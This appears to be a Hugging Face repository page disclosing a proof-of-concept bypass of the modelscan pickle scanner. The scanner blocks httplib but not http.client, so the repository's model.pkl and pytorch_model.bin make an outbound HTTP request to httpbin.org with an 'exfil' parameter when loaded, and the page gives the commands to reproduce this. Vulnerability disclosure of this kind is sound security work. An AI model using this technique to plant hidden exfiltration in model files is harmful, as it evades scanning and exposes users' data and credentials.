You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

ModelScan Bypass PoC: http.client SSRF

Security research only. Do not use maliciously.

This repository demonstrates a bypass in ProtectAI's modelscan scanner (v0.8.8).

Vulnerability

modelscan blocks httplib (Python 2 module name) in its unsafe_globals list, but does NOT block http.client (the Python 3 equivalent module).

This allows creation of pickle files that:

Create HTTP/HTTPS connections to arbitrary servers
Send HTTP requests with attacker-controlled data
Exfiltrate data from the model loading environment

All while modelscan reports "No issues found".

Files

model.pkl — Pickle file that sends an HTTP GET request on load
pytorch_model.bin — Same payload in PyTorch format

Reproduction

pip install modelscan==0.8.8
modelscan scan -p model.pkl
# Output: "No issues found"

python3 -c "import pickle; pickle.loads(open('model.pkl','rb').read())"
# Sends HTTP request to httpbin.org/get?exfil=pwned

Impact

SSRF from model loading
Data exfiltration from ML environments
Credential theft via outbound HTTP requests

Downloads last month: -; Downloads are not tracked for this model. How to track

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support